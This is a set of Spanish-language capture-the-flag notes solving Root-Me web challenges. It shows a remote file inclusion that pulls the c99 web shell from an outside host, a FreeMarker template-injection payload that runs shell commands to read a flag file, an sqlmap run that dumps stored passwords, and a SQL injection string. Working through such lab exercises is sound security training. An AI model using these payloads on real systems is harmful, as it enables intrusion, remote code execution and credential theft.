Probamos hasta encontrar la forma de hacer RFI, que es solo añadiendo el caracter "?" al final de la url... hemos probamos con http://www.google.es? y ha colado, asi que....
Para esta prueba, usamos una shell en internet(c99.php), que esá en http://www.c99txt.net/s/c99.txt
Leemos el index.php y tenemos ya la clava
/*
Congratz!
Le mot de passe de validation est :
The validation password is :
??????????????????????
*/
En esta página nos dan la forma de explotar el freemarker que podemos ver es el framework que utiliza la pagina victima del challenge al examinar las cabeceras de http
http://blog.portswigger.net/2015/08/server-side-template-injection.html
y es pasando la siguiente "frase" en la url
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
lo probamos
It's seems that I know you :) uid=1109(web-serveur-ch41) gid=1109(web-serveur-ch41) groups=1109(web-serveur-ch41)
Parece que funciona, asi que hacemos ahora un ls -la para ver los archivos, y vemos que tenemos en ese directorio el archivo SECRET_FLAG.txt
It's seems that I know you :) total 36
drwxr-s--- 5 web-serveur-ch41 www-data 4096 Oct 27 22:01 .
drwxr-s--x 50 challenge www-data 4096 Nov 26 14:06 ..
-r-------- 1 challenge challenge 225 Oct 25 20:51 ._nginx.server-level.inc
-rwx------ 1 web-serveur-ch41 www-data 171 Oct 27 22:13 ._run
-r--r----- 1 web-serveur-ch41 www-data 26 Oct 25 22:42 SECRET_FLAG.txt
-r--r----- 1 web-serveur-ch41 www-data 2109 Oct 25 22:51 pom.xml
dr-xr-x--- 4 web-serveur-ch41 www-data 4096 Oct 25 22:42 src
dr-xr-x--- 9 web-serveur-ch41 www-data 4096 Oct 25 22:51 target
dr-xr-x--- 2 web-serveur-ch41 www-data 4096 Oct 25 22:42 webapp
Ahora hacemos un cat , para leer nuestro archivo:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }
It's seems that I know you :) ????????????????????
Ahí tenemos la clave.
Es hora de usar el sqlmap y hacemos esto despues de ver la comunicación cliente servidor:
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch9/" --data="login=cualquieruser&password=cualquierpassword" -p "password" --dbs --risk=3 --level=5 -a
Se lleva una eternidad, pero al final saca los password, que son:
| 2006 | user1 | ??????????? |
| 2005 | admin | ????????? |
| 2008 | user2 | ???????????? |
hay que mirar la forma de sacarlo de la web sin usar sqlmap....
probar con variaciones de esto
' or username='admin' or '1'='1